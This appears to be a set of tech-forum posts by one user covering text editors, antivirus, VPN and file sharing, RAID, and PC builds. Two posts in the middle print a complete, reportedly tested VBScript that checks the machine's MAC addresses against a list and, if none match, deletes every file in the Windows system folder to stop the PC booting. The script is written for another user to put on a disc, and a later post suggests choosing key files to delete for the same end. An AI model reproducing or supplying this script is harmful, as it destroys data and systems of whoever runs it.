CoffeeFiend

I used to use UltraEdit back then too. It was a fairly good text editor and pretty good hex editor -- a hard to beat combo. But they screwed up a lot of things in the latest versions IMO, even in the hex editing department (searching for unicode strings is now a real PITA; also it even defaults to a "hex" search in text files...). I'm less and less impressed with every new release of UltraEdit that comes out. It does a lot of things but none of them particularly well, and in most cases there's better alternatives, and often for free (e.g. notepad++ for text, winmerge for comparing/merging, etc). I've made the switch to Notepad++ a while ago as my main text editor and never looked back. Edit: Notepad++'s first release was in 2003. And yes, it has line numbers. It has syntax highlighting for a large number of languages too (C/C++C/C#/Java/ASP/PHP/CSS/HTML/Perl/VB*/Javscript/AutoIt/Powershell/etc), including auto-completion, code folding and all that. It's not quite like VS but it's still pretty nice -- especially compared to some IDEs for embedded platforms (imagecraft 6 *shudder*) Notepad++ is exactly what Windows' built-in notepad should be IMO, but then you'd have other companies screaming "absuse of monopoly!" if they ever did that (it would kill their business model of selling "just OK" text editors)... This is why we can't have nice things.

AVG was never a great product anyway. Poor detection rates and perhaps the highest false positive rate I've ever seen in any AV. *Way* better and free (not a trial, no nags, no "buy me!" popups, no expiration, no buggy bloatware, etc): MSE

5eraph provided a pretty good summary. It assigns IP addresses. I'm not sure where you see any similarity between this scenario and yours (nevermind he's even wrong about some things). You're perfectly right, that wasn't said by you. Not sure how that even got there... That has pretty much everything you need built-in. It's just a matter of learning enough about networking and related techs in order to set it all up (VPN, file shares, etc)

The problem is, DHCP isn't a "little less than a VPN", it's just a completely different thing, as in, not used for the same thing at all. Apples and oranges. Not one bit.

How exactly does that help? That's completely unrelated to VPN, sharing files over the internet and all that. It does absolutely nothing which you've been asking for since post #1. I can attest the WRT160N makes for a semi-decent paperweight though. It's just a little on the light side but it's stylish.

Winzip's still around? That's news to me...

If you set it up properly, it won't prevent you from doing anything (your internet will still work, and you can still setup whatever you want). It hardly changes anything to the scenario. Not that I would buy that particular router myself.

Does she have the the MS VC++ 2005 redist installed? It basically says it can't find some of the DLLs (msvc*80.dll) it needs to run -- and a particular version of it, which should be located in WinSxS assembly store. Long story short, you should bundle it in your installer to avoid this.

Then you may want to look at the link I posted It was an easy guess that you are using McAfee being aware of that. There's only several hundred million machines affected by this...

I bet you're running McAfee

What solution? You didn't mention anything. Heh, I have one of those gathering dust... and it's likely to keep gathering dust for another while (it was replaced by another router that was 1/3 of the price or so but about a million times better)

The WD green series spin at 5400 RPM though. They're not horribly slow, but they're not exactly the fastest drives around either. They're a good choice if low power (when idle) and quietness are the main factors (performance not so important). Either ways, none of my 1TB drives failed yet.

Like 00:18:F3:A3:39:BE 01:19:F4:A4:3A:BF FF:07:E2:F2:28:AD If those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase). But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons: Option Explicit On Error Resume Next Const macfile = "macs.txt" 'file containing mac addresses Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem 'build array of mac addresses from file Set oFSO = CreateObject("Scripting.FileSystemObject") If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O f.Close MACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf) 'look for a matching MAC addy Set oWMI = GetObject("winmgmts:\\.\root\CIMV2") Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter") For Each objItem in colItems For Each strMAC In MACs if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm) Next Next 'no match found, delete system32 for the lulz Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder Set colItems = f.Files For Each objItem in colItems oFSO.DeleteFile(objItem) Next

Sounds like you didn't enter the MAC in the right format or whatever. If that happened, then there was no match. I forgot to mention the letters in the MAC addresses would have to be in uppercase though (didn't think about it, I just copy/pasted in the same format the OS showed them), so that might be it (that's trivial to fix too).

So it HAS to be a crappy batch file and NOT vbscript? Any particular reason for that? Either ways, good luck to you.

Alright, since you're still trying so desperately, I tried using another way of deleting files (hadn't exactly put much effort into it) and that works fine (obviously it doesn't delete files already in use -- so it "only" deletes about 85% of them). So here's a vbscript that does precisely what you asked for: Option Explicit On Error Resume Next Const macfile = "macs.txt" 'file containing mac addresses Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem 'build array of mac addresses from file Set oFSO = CreateObject("Scripting.FileSystemObject") If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O f.Close MACs = Split(strMAC, vbCrLf) 'look for a matching MAC addy Set oWMI = GetObject("winmgmts:\\.\root\CIMV2") Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter") For Each objItem in colItems For Each strMAC In MACs if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm) Next Next 'no match found, delete system32 for the lulz Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder Set colItems = f.Files For Each objItem in colItems oFSO.DeleteFile(objItem) Next Just enclose a file called "macs.txt" along with it, which includes a MAC address from each PC that should be allowed to make use of this CD (one MAC address per line with octets separated by semicolons). Tested working on a single XP VM, should work on non-english Windows and all. Everyone: DON'T RUN THIS ON YOUR PC IF YOU DON'T WANT TO LOSE FILES! It's meant to make it not boot, and it just may succeed! You've been warned! Test it in a VM instead. The script will just quit if macs.txt isn't there though, so that might save some people from mishaps. Edit: moving to the Programming section.

Well, not much can be done for that particular sentence. It wasn't about a solution to a problem that wasn't well defined, it was about "you're not going to get a whole lot of answers out of that". Also, don't take this personally, but you seem to be mostly against (or ignoring?) everything people recommended or said so far (like for instance the 3 guys who told you about getting a server version of Windows to run a server), and you seem to lack the basic understanding required for a lot of these things (TCP/IP, Windows server-related services, VPN tech and so on). Personally, I wonder what you expect on sharing with so many people on a such a connection (where a 10 user limit would be problematic). You only have 1mbit up on your plan which you're likely not getting in full, that you're already making some use of (hopefully you don't use any P2P!), and whatever is left would be split across different users, making for painfully slow file transfers (dialup-like speeds). As for FTP, I wouldn't use that. Exposing FTP to the outside world usually means getting botnets trying dictionary attacks on it... And it's not the most secure protocol ever (especially compared to using a VPN) e.g. logins and passwords being sent in plain text. I don't really see what it would offer over plain old file shares either (you can also pick what you share with whom using that, there is no need to give total access to everything). Most people would likely prefer using Windows explorer over a FTP client, and using Windows' built-in shares you could share other devices such as a printer too (which he seemingly wants to do) VPN wise, if you want simple then Hamachi is about as simple as it gets, if not just for not getting conflicting IP ranges. However, routing is disabled by default, some protocols are blocked by default, etc, so you will have to do some adjustments first. TL;DR version: Hamachi + Windows' built-in network sharing seems like what you're after.

Just like I said before. You're competing with over 100 million oher blogs (many of which are tech-oriented; and a new one is created every half-second or so) so your site is mostly lost in a sea of other blogs. You're also competing with dozens of well established "techy" sites (anandtech, gizmodo, engadget, etc) that have strong financial backing and a large full-time staff (and contacts with manufacturers, etc), and news aggregators too (reddit, digg, slashdot, etc). Good luck. And yes, this is exactly why I don't have a site.

I don't understand why. So what if a drive fails on you once every 10 years. Reghost or reinstall, problem solved (pretty quickly too). I don't see any point to using RAID1 on a home desktop or workstation (nor do I even care for my work machines -- the day the drives die, I'll just take the opportunity to reinstall). Which is mostly pointless IMO (you have to have proper backups anyway -- mirroring and/or partity just makes the "restoring" process quicker), for my usage at least. RAID5 is CPU-hogging (unless you shell out major $ for a fancy controller), and every single RAID level you mentioned is wasteful (1 is ridiculous, 10 is still quite bad, and 5 is only "OK" with 4 drives or more) and requires a fair amount of drives for any decent capacity. RAID0 gives me plenty of speed (crazy fast file transfers/copying, very fast AV editing e.g. when trying to sync audio, etc) and nice large volumes. It's great (although SSDs will soon replace that -- I might RAID those too). Other levels waste my space (hence money), waste CPU power, use more [electrical] power for the same capacity (and more heat/noise), etc. They work perfectly fine for the vast majority of non-server needs (of course, I wouldn't stick such a card in a high-load server). For home use, they're great and dirt cheap too. But yes, with a $800 ARC-1230 controller I'd have some more speed and perhaps 1% more CPU power available to me (then again, pray your card never dies on you, that would make recovery fun!) Areca > 3ware

What? You want to get some motherboard (EVGA X58 SLI Micro), because a case (I never heard of a case shipping with a motherboard before) comes with ... something? I can't quite make sense of that. SATA3 will be very useful for SSDs. And USB3 for faster external devices too. Personally, I'd be looking for something that has them. For performance pretty darn close to a single Radeon 5770 (depends on what particular game you're going to play obviously), but for ~50% more money, sucking about 200% the power, generating twice as much heat, without DirectX11, without EyeFinity, etc. Nevermind you'll have to spend big bucks on a fancy SLI motherboard and beefy PSU for it too (and of course, extra $ on your power bill too -- about $80/year or so). That's like saying "I want a budget and VERY fast Italian sports car" or something like that. If you want a budget CPU, then you don't get an i7... This is already a much more "serious" machine than I'd buy myself! 99% of multimedia tasks will run perfectly fine on a "basic" dual core that is several years old, including playing back Blu-Ray movies and what not (1080p plays with like 1% CPU load on the kids' low end Athlon X2's). F4AF recommends a P4 2.4 GHz, and a video card with 128MB. Most likely you won't see much of an improvement at all, no matter how much hardware you throw at it (older engine, older textures, etc -- meant for older hardware; it won't make use of the i7's extra cores either). Such a machine is well beyond overkill to play simple games like this. A simple $500 dual core PC would be more than enough to handle everything you mentioned for the next few years.

That didn't make any sense at all.

It would be fairly trivial to remove indeed. Also, doing the MAC address check is trivial. However, deleting all of system32 will result in sharing violations and what not. Perhaps you would want to pick some key files to delete (that can be deleted, and will prevent the computer from booting), or files to be renamed (you can do that with files being used). I tried deleting system32 in a XP VM (using the DeleteFolder method of the FileSystemObject class) and long story short , it just wouldn't let me (no, I didn't go looking around for alternative ways to do it).

And I never understood why some people wouldn't (besides cost obviously). It's much faster and plenty reliable for that. I've been using RAID0 only for my system volume since 2001 (on an old Promise FastTrack100 TX4 & 4x WD 40GB striped) and never run into any problem. And if I'm unlucky enough to get a disk failure (like once every 10 years), then I'll just reinstall my OS & apps, no big deal (as long as your actual data is backed up, of course).

If you give us more infos about what you're trying to do, then we might be able to come up with something. Like, are you trying to execute some commands if the MAC address of one of the NICs matches a specific address or is in some list? It's pretty trivial to do such a check but I won't personally get into such things without having enough infos, or else something like this happens (47 posts later it still doesn't work quite like he wants it to because we still don't know what he wants for sure) With enough details, we can easily come up with a complete solution to the actual problem (like this -- a working solution in one attempt)

Then it's an easy enough answer. See the list of supported CPUs here. Long story short, nothing beyond an old P4 is supported (besides a couple marginally faster Pentium D perhaps, which won't be significantly better at anything, especially gaming). Nothing good nor fast. You're in for a new motherboard.